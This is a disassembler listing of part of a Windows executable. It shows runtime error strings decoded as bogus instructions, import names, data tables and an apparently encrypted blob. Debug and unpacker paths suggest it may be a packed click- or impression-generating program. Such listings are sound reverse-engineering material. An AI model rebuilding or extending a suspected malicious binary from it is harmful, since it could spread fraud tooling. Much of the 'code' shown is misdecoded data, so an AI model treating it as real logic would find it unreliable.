loc_405182:				; CODE XREF: seg001:00405114j
		imul	esp, [ebx+61h],	6E6F6974h
		and	[ebx+61h], ah
		outsb
		outsb
		outsd
		jz	short loc_4051B1
		jb	short near ptr loc_405207+1
		outsb

loc_405194:				; CODE XREF: seg001:0040512Bj
		and	[ebp+73h], dh
		imul	ebp, [esi+67h],	65687420h

loc_40519E:				; CODE XREF: seg001:0040517Cj
		and	[ecx+63h], ah
		jz	short loc_40520C

loc_4051A3:				; CODE XREF: seg001:00405132j
		jbe	short loc_40520A
		and	[esi+65h], dh
		jb	short near ptr loc_405218+5
		imul	ebp, [edi+6Eh],	20666F20h

loc_4051B1:				; CODE XREF: seg001:0040518Fj
		jz	short near ptr loc_405218+3
		and	gs:[ebp+69h], cl
		arpl	[edx+6Fh], si
		jnb	short near ptr loc_405229+2
		db	66h
		jz	short near ptr loc_4051DC+3
		db	2Eh
		dec	esi
		inc	ebp
		push	esp
		and	[edx+75h], dl
		outsb
		jz	short near ptr loc_405231+1
		insd
		or	dl, gs:[eax+6Ch]
		db	65h
		popa
		jnb	short loc_405237
		and	[ebx+6Fh], ah
		outsb
		jz	short near ptr byte_405239

loc_4051D8:				; CODE XREF: seg001:loc_405164j
		arpl	[eax+74h], si

loc_4051DC:				; CODE XREF: seg001:004051BCj
		push	70612065h
		jo	short near ptr loc_40524E+1
		imul	esp, [ebx+61h],	6E6F6974h
		daa
		jnb	short loc_40520D
		jnb	short near ptr loc_405262+2
		jo	short near ptr loc_40525F+2

loc_4051F1:				; CODE XREF: seg001:0040517Fj
		outsd
		jb	short near ptr loc_405262+6
		and	[ebp+61h], dh
		insd
		and	[esi+6Fh], ah
		jb	short loc_40521E
		insd
		outsd
		jb	short near ptr loc_405262+5
		and	[ecx+6Eh], ch
		outsw

loc_405207:				; CODE XREF: seg001:00405191j
		jb	short loc_405276
		popa

loc_40520A:				; CODE XREF: seg001:loc_4051A3j
		jz	short near ptr loc_405273+2

loc_40520C:				; CODE XREF: seg001:004051A1j
		outsd

loc_40520D:				; CODE XREF: seg001:004051EBj
		outsb
		db	2Eh
		or	eax, 0Ah
		push	edx
		xor	ss:[edx], dh

loc_405218:				; CODE XREF: seg001:loc_4051B1j
					; seg001:004051A8j
		cmp	ds:75202D0Ah, cl

loc_40521E:				; CODE XREF: seg001:004051FCj
		outsb
		popa
		bound	ebp, [ebp+20h]
		jz	short near ptr loc_405294+1
		and	[ecx+6Eh], ch

loc_405229:				; CODE XREF: seg001:004051BAj
		imul	esi, [ecx+ebp*2+61h], 657A696Ch

loc_405231:				; CODE XREF: seg001:004051C7j
		and	[eax+65h], ch
		popa
		jo	short loc_405244

loc_405237:				; CODE XREF: seg001:004051D0j
		or	al, [eax]
; ---------------------------------------------------------------------------
byte_405239	db 3 dup(0)		; CODE XREF: seg001:004051D6j
		dd 32303652h, 2D0A0D37h
; ---------------------------------------------------------------------------

loc_405244:				; CODE XREF: seg001:00405235j
		and	[esi+6Fh], ch
		jz	short near ptr loc_405262+7
		outs	dx, byte ptr gs:[esi]
		outsd
		jnz	short near ptr loc_4052B2+3

loc_40524E:				; CODE XREF: seg001:004051E1j
		push	61707320h
		arpl	[ebp+20h], sp
		outsw
		jb	short near ptr loc_405278+2
		insb
		outsd
		ja	short near ptr loc_4052C5+2
		outsd

loc_40525F:				; CODE XREF: seg001:004051EFj
		and	[ecx+6Eh], ch

loc_405262:				; CODE XREF: seg001:004051EDj
					; seg001:00405200j ...
		imul	esi, [ecx+ebp*2+61h], 617A696Ch
		jz	short loc_4052D5
		outsd
		outsb
		or	eax, 0Ah

loc_405273:				; CODE XREF: seg001:loc_40520Aj
		add	[edx+36h], dl

loc_405276:				; CODE XREF: seg001:loc_405207j
		xor	[edx], dh

loc_405278:				; CODE XREF: seg001:00405258j
		db	36h
		or	eax, 6E202D0Ah
		outsd
		jz	short near ptr loc_40529C+5
		outs	dx, byte ptr gs:[esi]
		outsd
		jnz	short near ptr loc_4052EB+2
		push	61707320h
		arpl	[ebp+20h], sp
		outsw
		jb	short loc_4052B2
		jnb	short near ptr loc_405307+1

loc_405294:				; CODE XREF: seg001:00405224j
		imul	ebp, fs:[edi+20h], 74696E69h

loc_40529C:				; CODE XREF: seg001:0040527Fj
		imul	esp, [ecx+6Ch],	74617A69h
		imul	ebp, [edi+6Eh],	0A0Dh
; ---------------------------------------------------------------------------
		dw 0
		dd 32303652h
		db 35h,	0Dh
; ---------------------------------------------------------------------------

loc_4052B2:				; CODE XREF: seg001:00405290j
					; seg001:0040524Cj
		or	ch, ds:72757020h
		and	gs:[esi+69h], dh
		jb	short near ptr loc_40532F+3
		jnz	short loc_405321
		insb
		and	[esi+75h], ah
		outsb

loc_4052C5:				; CODE XREF: seg001:0040525Cj
		arpl	[ecx+ebp*2+6Fh], si
		outsb
		and	[ebx+61h], ah
		insb
		insb
		or	eax, 0Ah
		push	edx

loc_4052D5:				; CODE XREF: seg001:0040526Aj
		xor	ss:[edx], dh
		xor	al, 0Dh
		or	ch, ds:746F6E20h
		and	[ebp+6Eh], ah
		outsd
		jnz	short loc_40534D
		push	61707320h

loc_4052EB:				; CODE XREF: seg001:00405284j
		arpl	[ebp+20h], sp
		outsw
		jb	short loc_405312
		pop	edi
		outsd
		outsb
		db	65h
		js	short loc_405361
		jz	short loc_405329
		popa
		jz	short near ptr loc_405361+1
		js	short near ptr loc_405367+1
		jz	short loc_405321
		jz	short near ptr loc_405361+3
		bound	ebp, [ebp+0Dh]

loc_405307:				; CODE XREF: seg001:00405292j
		or	al, [eax]
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 31303652h
		db 39h,	0Dh
; ---------------------------------------------------------------------------

loc_405312:				; CODE XREF: seg001:004052F0j
		or	ch, ds:616E7520h
		bound	ebp, [ebp+20h]
		jz	short loc_40538D
		and	[edi+70h], ch

loc_405321:				; CODE XREF: seg001:004052BEj
					; seg001:004052FFj
		outs	dx, byte ptr gs:[esi]
		and	[ebx+6Fh], ah
		outsb
		jnb	short near ptr loc_405397+1

loc_405329:				; CODE XREF: seg001:004052F8j
		insb
		and	gs:[ebp+76h], ah

loc_40532F:				; CODE XREF: seg001:004052BCj
		imul	esp, [ebx+65h],	0A0Dh
; ---------------------------------------------------------------------------
		dw 0
		dd 31303652h, 2D0A0D38h, 656E7520h, 63657078h, 20646574h
		db 68h
; ---------------------------------------------------------------------------

loc_40534D:				; CODE XREF: seg001:004052E4j
		db	65h
		popa
		jo	short near ptr loc_40536F+2
		db	65h
		jb	short near ptr loc_4053C3+3
		outsd
		jb	short near ptr loc_405361+3
		or	al, [eax]
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------
		push	edx
		xor	ss:[ecx], dh
		aaa

loc_405361:				; CODE XREF: seg001:004052F5j
					; seg001:004052FBj ...
		or	eax, 75202D0Ah
		outsb

loc_405367:				; CODE XREF: seg001:004052FDj
		db	65h
		js	short near ptr loc_4053D6+4
		arpl	gs:[ebp+64h], si

loc_40536F:				; CODE XREF: seg001:0040534Fj
		and	[ebp+75h], ch
		insb
		jz	short near ptr loc_4053DC+2
		jz	short loc_4053DF
		jb	short near ptr loc_4053DC+2
		popa
		and	fs:[edi+ebp*2+63h], ch
		imul	esp, [eax], 65h
		jb	short near ptr loc_4053F5+1
		outsd
		jb	short near ptr loc_405390+4
		or	al, [eax]
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------
		push	edx

loc_40538D:				; CODE XREF: seg001:0040531Cj
		xor	ss:[ecx], dh

loc_405390:				; CODE XREF: seg001:00405385j
		db	36h
		or	eax, 6E202D0Ah
		outsd

loc_405397:				; CODE XREF: seg001:00405327j
		jz	short near ptr loc_4053B5+4
		outs	dx, byte ptr gs:[esi]
		outsd
		jnz	short loc_405405
		push	61707320h
		arpl	[ebp+20h], sp
		outsw
		jb	short loc_4053CA
		jz	short loc_405414
		jb	short near ptr loc_405412+1
		popa
		and	fs:[ecx+74h], ah
		popa

loc_4053B5:				; CODE XREF: seg001:loc_405397j
		or	eax, 0A0D000Ah
		push	esp
		push	61207369h
		jo	short near ptr loc_405430+2
		insb

loc_4053C3:				; CODE XREF: seg001:00405351j
		imul	esp, [ebx+61h],	6E6F6974h

loc_4053CA:				; CODE XREF: seg001:004053A8j
		and	[eax+61h], ch
		jnb	short near ptr loc_4053EC+3
		jb	short near ptr loc_405435+1
		jno	short loc_405448
		db	65h
		jnb	short loc_40544A

loc_4053D6:				; CODE XREF: seg001:loc_405367j
		db	65h
		and	fs:[eax+ebp*2+65h], dh

loc_4053DC:				; CODE XREF: seg001:00405373j
					; seg001:00405377j
		and	[edx+75h], dl

loc_4053DF:				; CODE XREF: seg001:00405375j
		outsb
		jz	short near ptr loc_40544A+1
		insd
		and	gs:[edi+ebp*2+20h], dh
		jz	short near ptr loc_40544A+5
		jb	short near ptr loc_405454+5

loc_4053EC:				; CODE XREF: seg001:004053CDj
		imul	ebp, [esi+61h],	69206574h
		jz	short near ptr loc_405414+1

loc_4053F5:				; CODE XREF: seg001:00405382j
		imul	ebp, [esi+20h],	75206E61h
		outsb
		jnz	short loc_405472
		jnz	short loc_405462
		insb
		and	[edi+61h], dh

loc_405405:				; CODE XREF: seg001:0040539Cj
		jns	short loc_405435
		or	dl, [eax+6Ch]
		db	65h
		popa
		jnb	short near ptr loc_405472+1
		and	[ebx+6Fh], ah
		outsb

loc_405412:				; CODE XREF: seg001:004053ACj
		jz	short loc_405475

loc_405414:				; CODE XREF: seg001:004053AAj
					; seg001:004053F3j
		arpl	[eax+74h], si
		push	70612065h
		jo	short loc_40548B
		imul	esp, [ebx+61h],	6E6F6974h
		daa
		jnb	short loc_405449
		jnb	short near ptr loc_40549F+1
		jo	short loc_40549D
		outsd
		jb	short near ptr loc_4054A3+1

loc_405430:				; CODE XREF: seg001:004053C0j
		and	[ebp+61h], dh
		insd

loc_405435:				; CODE XREF: seg001:loc_405405j
					; seg001:004053CFj
		and	[esi+6Fh], ah
		jb	short loc_40545A
		insd
		outsd
		jb	short loc_4054A3
		and	[ecx+6Eh], ch
		outsw
		jb	short loc_4054B2
		popa
		jz	short near ptr loc_4054AC+5

loc_405448:				; CODE XREF: seg001:004053D1j
		outsd

loc_405449:				; CODE XREF: seg001:00405427j
		outsb

loc_40544A:				; CODE XREF: seg001:004053D3j
					; seg001:004053E0j ...
		db	2Eh
		or	eax, 0Ah
		push	edx
		xor	ss:[eax], dh

loc_405454:				; CODE XREF: seg001:004053EAj
		cmp	ds:6E202D0Ah, ecx

loc_40545A:				; CODE XREF: seg001:00405438j
		outsd
		jz	short loc_40547D
		outs	dx, byte ptr gs:[esi]
		outsd
		jnz	short near ptr loc_4054C7+2

loc_405462:				; CODE XREF: seg001:004053FFj
		push	61707320h
		arpl	[ebp+20h], sp
		outsw
		jb	short loc_40548E
		outs	dx, byte ptr gs:[esi]
		jbe	short near ptr aMicrosoftVisua+0Bh

loc_405472:				; CODE XREF: seg001:004053FDj
					; seg001:0040540Cj
		jb	short near ptr aMicrosoftVisua+13h
		outsb

loc_405475:				; CODE XREF: seg001:loc_405412j
		insd
		outs	dx, byte ptr gs:[esi]
		jz	short loc_405487
		or	al, [eax]
		push	edx

loc_40547D:				; CODE XREF: seg001:0040545Bj
		xor	ss:[eax], dh
		cmp	ds:6E202D0Ah, cl
		outsd

loc_405487:				; CODE XREF: seg001:00405478j
		jz	short loc_4054A9
		outs	dx, byte ptr gs:[esi]

loc_40548B:				; CODE XREF: seg001:0040541Dj
		outsd
		jnz	short near ptr byte_4054F5

loc_40548E:				; CODE XREF: seg001:0040546Cj
		push	61707320h
		arpl	[ebp+20h], sp
		outsw
		jb	short near ptr loc_4054B8+2
		popa
		jb	short loc_405504

loc_40549D:				; CODE XREF: seg001:0040542Bj
		jnz	short loc_40550C

loc_40549F:				; CODE XREF: seg001:00405429j
		outs	dx, byte ptr gs:[esi]
		jz	short near ptr word_405516

loc_4054A3:				; CODE XREF: seg001:0040543Cj
					; seg001:0040542Ej
		or	eax, 0Ah
		push	edx

loc_4054A9:				; CODE XREF: seg001:loc_405487j
		xor	ss:[eax], dh

loc_4054AC:				; CODE XREF: seg001:00405446j
		xor	cl, ds:66202D0Ah

loc_4054B2:				; CODE XREF: seg001:00405443j
		insb
		outsd
		popa
		jz	short loc_405520
		outsb

loc_4054B8:				; CODE XREF: seg001:00405498j
		and	[bx+si+6Fh], dh
		imul	ebp, [esi+74h],	746F6E20h
		and	[edi+ebp*2+61h], ch

loc_4054C7:				; CODE XREF: seg001:00405460j
		db	64h, 65h, 64h
		or	eax, 0Ah
; ---------------------------------------------------------------------------
		db 0
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; CODE XREF: seg001:00405470j
					; DATA XREF: seg000:00403E69o
byte_4054F5	db 3 dup(0)		; CODE XREF: seg001:0040548Cj
asc_4054F8	db 0Ah			; DATA XREF: seg000:00403E33o
		db 0Ah,0
		align 4
		dd 746E7552h, 20656D69h
; ---------------------------------------------------------------------------

loc_405504:				; CODE XREF: seg001:0040549Bj
		inc	ebp
		jb	short near ptr aGetuserobjecti+0Dh
		outsd
		jb	short near ptr loc_405528+3
		or	cl, [edx]

loc_40550C:				; CODE XREF: seg001:loc_40549Dj
		push	eax
		jb	short near ptr aGetuserobjecti+12h
		db	67h
		jb	near ptr 5573h
		insd
		cmp	ah, [eax]
; ---------------------------------------------------------------------------
		db 0
word_405516	dw 0			; CODE XREF: seg001:004054A1j
dword_405518	dd 2E2E2Eh, 6F72703Ch	; DATA XREF: seg000:00403E03o
; ---------------------------------------------------------------------------

loc_405520:				; CODE XREF: seg001:004054B5j
		db	67h
		jb	near ptr 5584h
		insd
		and	[esi+61h], ch
		insd

loc_405528:				; CODE XREF: seg001:00405508j
		and	gs:[ebp+6Eh], dh
		imul	ebp, [esi+6Fh],	77h
		outsb
		db	3Eh
		add	[eax], al
; ---------------------------------------------------------------------------
		dd 0
		dd 0FFFFFFFFh, 401DB1h,	401DB5h, 0
		dd 0FFFFFFFFh, 401DF5h,	401DF9h
aGetprocesswind	db 'GetProcessWindowStation',0 ; DATA XREF: sub_4020C9+73o
aGetuserobjecti	db 'GetUserObjectInformationA',0 ; CODE XREF: seg001:00405505j
					; DATA XREF: sub_4020C9+62o
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_4020C9+47o
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_4020C9+3Fo
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_4020C9+2Eo
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_4020C9+13o
		align 8
dword_4055C8	dd 0FFFFFFFFh, 4024A8h,	4024ACh	; DATA XREF: sub_4024BC-2Fo
dword_4055D4	dd 676F7250h, 3A6D6172h, 20h ; DATA XREF: seg000:00403E3Fo
aABufferOverrun	db 'A buffer overrun has been detected which has corrupted the progra'
					; DATA XREF: seg000:00403D99o
		db 'm',27h,'s',0Ah
		db 'internal state.  The program cannot safely continue execution and'
		db ' must',0Ah
		db 'now be terminated.',0Ah,0
aBufferOverrunD	db 'Buffer overrun detected!',0 ; DATA XREF: seg000:loc_403D94o
		align 10h
aASecurityError	db 'A security error of unknown cause has been detected which has',0Ah
					; DATA XREF: seg000:00403D83o
		db 'corrupted the program',27h,'s internal state.  The program cannot sa'
		db 'fely',0Ah
		db 'continue execution and must now be terminated.',0Ah,0
		align 4
aUnknownSecurit	db 'Unknown security failure detected!',0 ; DATA XREF: seg000:00403D7Eo
		align 4
dword_405778	dd 0FFFFFFFFh, 403D6Fh,	403D73h, 41h dup(0) ; DATA XREF: sub_403D37+5o
asc_405888:				; DATA XREF: seg002:off_4072D0o
		unicode	0, <	     (((((		    H>
		dw 10h
		dd 7 dup(100010h), 5 dup(840084h), 3 dup(100010h), 810010h
		dd 2 dup(810081h), 10081h, 9 dup(10001h), 100001h, 2 dup(100010h)
		dd 820010h, 2 dup(820082h), 20082h, 9 dup(20002h), 100002h
		dd 100010h, 200010h, 40h dup(0)
dword_405A88	dd 200000h, 4 dup(200020h), 280068h, 280028h, 200028h
					; DATA XREF: seg002:004072D4o
		dd 8 dup(200020h), 480020h, 7 dup(100010h), 840010h, 4 dup(840084h)
		dd 100084h, 3 dup(100010h), 3 dup(1810181h), 0Ah dup(1010101h)
		dd 3 dup(100010h), 3 dup(1820182h), 0Ah	dup(1020102h)
		dd 2 dup(100010h), 10h dup(200020h), 480020h, 8	dup(100010h)
		dd 140010h, 100014h, 2 dup(100010h), 100014h, 2	dup(100010h)
		dd 1010010h, 0Bh dup(1010101h),	1010010h, 3 dup(1010101h)
		dd 0Ch dup(1020102h), 1020010h,	3 dup(1020102h), 1010102h
dword_405C8C	dd 0			; DATA XREF: sub_403E7F+1Co
					; seg000:00404259o
dword_405C90	dd 0FFFFFFFFh, 404178h,	40417Ch, 0FFFFFFFFh, 403F75h, 403F79h
					; DATA XREF: sub_403E7F+2o
		dd 0FFFFFFFFh, 404043h,	404047h, 0
dword_405CB8	dd 0FFFFFFFFh, 404314h,	404318h, 0 ; DATA XREF:	sub_40423B+2o
dword_405CC8	dd 0FFFFFFFFh, 4048C5h,	4048C9h, 0 ; DATA XREF:	sub_4047F3+2o
		dd 48h,	0Eh dup(0)
		dd offset dword_4071C0
		dd offset byte_405D80
		dd 2, 53445352h, 0D35AE902h, 452F1ED4h,	52A058BFh, 0AAE30B17h
		dd 2
aPProjectsKlikt	db 'p:\Projects\Kliktanje\gen_impression\Release\gen_impression.pdb',0
		align 10h
byte_405D80	db 0CCh			; DATA XREF: seg001:00405D18o
		db 1Eh,	2 dup(0)
		dd 3840h, 4 dup(0)
		dd 5DE0h, 2 dup(0)
		dd 5EDCh, 500Ch, 5DD4h,	2 dup(0)
		dd 5F0Ch, 5000h, 5 dup(0)
		dd 3B4D1854h, 47C1F7F4h, 0
		dd 7028E63Bh, 0B395316h, 0C534B375h, 3C7694F5h,	0E19E1ECCh
		dd 0DAF588FDh, 0A41DE0C2h, 25139AEFh, 918757C6h, 982FB65Dh
		dd 0E7F198D4h, 775A8F5h, 4E13BE4Bh, 780E12D7h, 1E32FDCCh
		dd 0D02065F1h, 0E3FAF5CAh, 0DCAE3102h, 901CA80Fh, 6552725Fh
		dd 0C8283971h, 0ED880D7Ah, 901551AAh, 57D69C5h,	1405C50Ch
		dd 30922896h, 0E77C4714h, 8918A54Ch, 62BA7D26h,	96C9137h
		dd 87C03630h, 7F94B83Bh, 2F362DADh, 74032C1Eh, 929DD37Ah
		dd 0ECAA383Fh, 26491586h, 2E8C4DEBh, 960CB272h,	18113677h
		dd 61536107h, 0EAC13177h, 44E1FD7Fh, 0B1D51C7Dh, 803B7F32h
		dd 171B8E18h, 6EC990A3h, 1F605C8Bh, 43B345E4h, 0A8EDA206h
		dd 0
		dd 0E97C0265h, 0E12A5E1Bh, 13EDFDF4h, 175007Dh,	4D1D711Dh
		dd 0F4D037B4h, 991563Fh, 0DEB3D517h, 0A7E1h, 4D3903BCh
		dd 29675916h, 3A23h, 4F8E29CFh,	2EC7A221h, 0DC581176h
		dd 1F90000h, 5434CCA5h,	80F2768h, 72005103h, 31F8h, 2B2F01CCh
		dd 7135DF45h, 68786D28h, 0B46662h, 16185811h, 0BA6335C0h
		dd 0FAF1F226h, 1770000h, 0ED957A1Bh, 0BC589854h, 0E0407ED0h
		dd 0B7122345h, 1AF0000h, 7908ED74h, 40D7BE2Eh, 0D9EB640Bh
		dd 741Fh, 1B500108h, 46F83200h,	6ACF2262h, 3A37706Dh, 1DF006Ch
		dd 0AD3B9528h, 0EB68FE97h, 0EFEED796h, 0AF0007h, 62F148ECh
		dd 0BAF94C28h, 0E0AC22h, 14F20198h, 0C96B9BB6h,	3812A9DAh
		dd 9D09F045h, 34F0000h,	0B3BB657Bh, 0E58B535h, 0A2FA1BA1h
		dd 0CE58EFDAh, 13A0000h, 9B49587h, 2AFC31BFh, 8342C7Ch
		dd 7CF93FD5h, 3940075h,	846A0766h, 0C05F47B3h, 1B1009Ch
		dd 0DACC1947h, 8A82C4DAh, 0BF8E4579h, 3600000h,	4F0CD90Ch
		dd 6CA5D1Bh, 66F69FA1h,	0D195B723h, 0D955EED1h,	97A3B40Fh
		dd 0ED0000h, 866923B2h,	0CDE5E8B6h, 6D9AC175h, 0A2500A3Eh
		dd 52DC18B5h, 202A8Eh, 54BA014Dh, 210B39A0h, 0D8B412E0h
		dd 4FE0C571h, 6501BF8Ah, 7A6E71h, 36CE00EEh, 0CE120667h
		dd 0AD749C43h, 5F5CC5BDh, 854AA48h, 40C1D14Ch, 38700C2h
		dd 31ED36B7h, 0AF3C0E0Ch, 7C8C91EEh, 0D3CE12BBh, 0A58D2Ch
		dd 82D20169h, 6165C325h, 0C0467429h, 8A6Eh, 3800014Fh
		dd 6D8FD67Eh, 8D85B316h, 9372A2ABh, 4BD55C63h, 4CE92C91h
		dd 3170000h, 194927FCh,	84A69EFh, 0B55846E3h, 0ACh, 0C01015Eh
		dd 0B3CFBC0Fh, 0FAFD6CD7h, 20A00EDh, 0EB72B629h, 95669F4Ch
		dd 5EF791h, 8B240208h, 288A0391h, 79CAB790h, 3760000h
		dd 0D451C2F1h, 237D68AEh, 7B9D54h, 0F856020Ch, 6231194Bh
		dd 3739h, 54440248h, 8FED0673h,	0DF0AAA2Dh, 1EEAh, 0E2B900F5h
		dd 0BFAF337Bh, 18B0000h, 3EB77F11h, 745F7C6Ah, 0FC0000h
		dd 0CD81B271h, 0EB3473B4h, 2060047h, 0B678D666h, 0BCD3934h
		dd 3730031h, 0FBA14F4Bh, 868FE71Dh, 5BBDAED6h, 2100000h
		dd 0FDE09BDCh, 0A3299923h, 2BD46Fh, 0C2F902CAh,	0DE6773F8h
		dd 0CFE166h, 851B021Fh,	33B3178Bh, 0F792362Bh, 34641080h
		dd 1804BA05h, 37B000Ah,	3C3EEA97h, 621A70C2h, 0EA178CA1h
		dd 2120000h, 15FA20B6h,	7D8F44D5h, 2970000h, 0DA9A5016h
		dd 3BE32C87h, 0FD0C3039h, 2457DBE6h, 0DAB86C9Eh, 50ED40h
		dd 378101D5h, 90D56BBBh, 0D95FDF5Ch, 79E2h, 359013Eh, 0D9CD923h
		dd 0FA74AD50h, 0BE8E8F65h, 9EA1A89h, 13B0000h, 0CBA5421Ah
		dd 0EB3EC819h, 21C10AC8h, 9EC95D05h, 3A3D97h, 0B13101C0h
		dd 8A9B852Eh, 4C489054h, 594EEDF8h, 0A12801A0h,	95CF8376h
		dd 23A0012h, 693EA63Eh,	28F6FDA5h, 0BC561F82h, 26B0000h
		dd 0DC42F5D4h, 0D6FB1E2Eh, 6890BE20h, 98663B6Dh, 0B892Bh
		dd 0AA7D023Bh, 27011CDAh, 39CE957Bh, 3477h, 0D84F01B2h
		dd 0F279876Ch, 2C4BADB4h, 0A4B9F936h, 1B50000h,	6F3B65A7h
		dd 0A87CD25Dh, 0A6C50529h, 42D6h, 0D949016Ch, 74EC1369h
		dd 7BE56D65h, 0BD555BDEh, 3790000h, 71E824FDh, 1169EAE7h
		dd 34620E93h, 46C1h, 0EB0701BBh, 0DBBD83ABh, 7D03CE6Fh
		dd 97291Ah, 369h dup(0)
seg001		ends

; Section 3. (virtual address 00007000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00007000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg002		segment	para public 'CODE' use32
		assume cs:seg002
		;org 407000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		dd 0
		dd offset sub_403CD1
		align 10h
		dd offset dword_402090+11h
		dd offset dword_4028D8
		dd 0
dword_40701C	dd 0			; DATA XREF: sub_401363:loc_4013CAo
dword_407020	dd 0			; DATA XREF: sub_401363+6Co
dword_407024	dd 0			; DATA XREF: sub_401363:loc_4013E9o
dword_407028	dd 2 dup(0)		; DATA XREF: sub_401363+8Bo
		dd 90D0D11h, 0E565643h,	16570E0Eh, 18171C09h, 1A100D0Bh
		dd 570A1C15h, 161F1710h, 0
		dd 0D1F162Ah, 1C0B180Eh, 1A103425h, 160A160Bh, 30250D1Fh
		dd 0B1C0D17h, 590D1C17h, 1509013Ch, 0B1C0B16h, 10183425h
		dd 17h,	0B180D2Ah, 1829590Dh, 1C1Eh, 401435h, 2	dup(2)
		dd 4054A8h, 8, 40547Ch,	9, 405450h, 0Ah, 4053B8h, 10h
		dd 40538Ch, 11h, 40535Ch, 12h, 405338h,	13h, 40530Ch, 18h
		dd 4052D4h, 19h, 4052ACh, 1Ah, 405274h,	1Bh, 40523Ch, 1Ch
		dd 405214h, 1Dh, 405170h, 78h, 40515Ch,	79h, 40514Ch, 7Ah
		dd 40513Ch, 0FCh, 405138h, 0FFh, 405128h
dword_407128	dd 0C0000005h, 0Bh, 0	; DATA XREF: seg000:00401620o
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_4071A0	dd 3			; DATA XREF: seg000:00401698r
dword_4071A4	dd 7			; DATA XREF: seg000:0040169Dr
dword_4071A8	dd 0Ah			; DATA XREF: seg000:0040161Ar
dword_4071AC	dd 8Ch			; DATA XREF: seg000:004016C6r
					; seg000:004016CEw ...
		dd 0FFFFFFFFh, 0A80h, 10h, 0
dword_4071C0	dd 703392ADh		; DATA XREF: sub_4024BCr sub_402566+9r ...
		align 8
byte_4071C8	db 1			; DATA XREF: seg000:00402812r
		db 2, 4, 8
		align 10h
dword_4071D0	dd 3A4h			; DATA XREF: seg000:loc_40276Dr
dword_4071D4	dd 82798260h		; DATA XREF: seg000:0040284Er
		dd 21h,	0
dword_4071E0	dd 0DFA6h		; DATA XREF: seg000:004027F2r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_4072C0	dd 19930520h, 3	dup(0)	; DATA XREF: seg000:004038EFo
					; sub_4038F6+2o
off_4072D0	dd offset asc_405888	; DATA XREF: seg000:004024E2r
					; sub_404B72:loc_404BF4r ...
					; "	    (((((		   H"
		dd offset dword_405A88+2
		dd 1, 0
dword_4072E0	dd 1			; DATA XREF: sub_404B72:loc_404BDFr
		dd 2Eh,	1, 0Bh dup(0)
dword_407318	dd 2			; DATA XREF: sub_4020C9+54r
					; sub_4049BC+34r ...
		dd 0A28h, 501h
dword_407324	dd 5			; DATA XREF: sub_4020C9:loc_402175r
		dd 2 dup(1), 0D20B20h, 0
		dd 0D20B40h, 3 dup(0)
		dd offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		align 10h
byte_407350	db 0			; DATA XREF: sub_401363+2Dw
		align 4
dword_407354	dd 1			; DATA XREF: sub_401363+27w
dword_407358	dd 1			; DATA XREF: sub_401363+7r
					; sub_401363+B0w
		align 10h
dword_407360	dd 0			; DATA XREF: seg000:0040167Cr
					; seg000:00401687w ...
		align 8
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: seg002:00407348o
		align 4
		dd 3Bh dup(0)
		dd 1
dword_407474	dd 0			; DATA XREF: sub_4020C9+9r
					; sub_4020C9+38w ...
dword_407478	dd 0			; DATA XREF: sub_4020C9+4Dw
					; sub_4020C9:loc_40218Er
dword_40747C	dd 0			; DATA XREF: sub_4020C9+5Bw
					; sub_4020C9+D6r
dword_407480	dd 0			; DATA XREF: sub_4020C9+7Bw
					; sub_4020C9:loc_402149r
dword_407484	dd 0			; DATA XREF: sub_4020C9+6Cw
					; sub_4020C9+9Cr
dword_407488	dd 1			; DATA XREF: seg000:0040270Bw
					; seg000:00402713w ...
		align 10h
dword_407490	dd 0			; DATA XREF: sub_40390E:loc_403995r
					; sub_40390E+13Fr ...
		align 8
dword_407498	dd 0			; DATA XREF: sub_40390E:loc_4039A8r
					; sub_40390E+1C4r ...
		dd 0Fh dup(0)
dword_4074D8	dd 0			; DATA XREF: sub_40390E+12Co
					; sub_40390E+191o ...
dword_4074DC	dd 0			; DATA XREF: seg000:00403D4Er
		dd 2 dup(0)
dword_4074E8	dd 0			; DATA XREF: sub_403E7F+265r
					; seg000:00404385r ...
		dd 3 dup(0)
dword_4074F8	dd 0			; DATA XREF: seg000:00402741r
					; sub_403E7F+9Dr ...
		align 10h
dword_407500	dd 1			; DATA XREF: sub_403E7F+Er
					; sub_403E7F+31w ...
dword_407504	dd 1			; DATA XREF: seg000:00404249r
					; seg000:00404269w ...
dword_407508	dd 0			; DATA XREF: sub_4043F5r
dword_40750C	dd 0			; DATA XREF: sub_403B37:loc_403C40r
					; sub_403B37:loc_403C7Er ...
dword_407510	dd 0			; DATA XREF: seg000:00402D1Ew
					; sub_402D70+21Cr ...
dword_407514	dd 0			; DATA XREF: seg000:00402D25w
					; sub_402D45r ...
dword_407518	dd 0			; DATA XREF: seg000:00402D12w
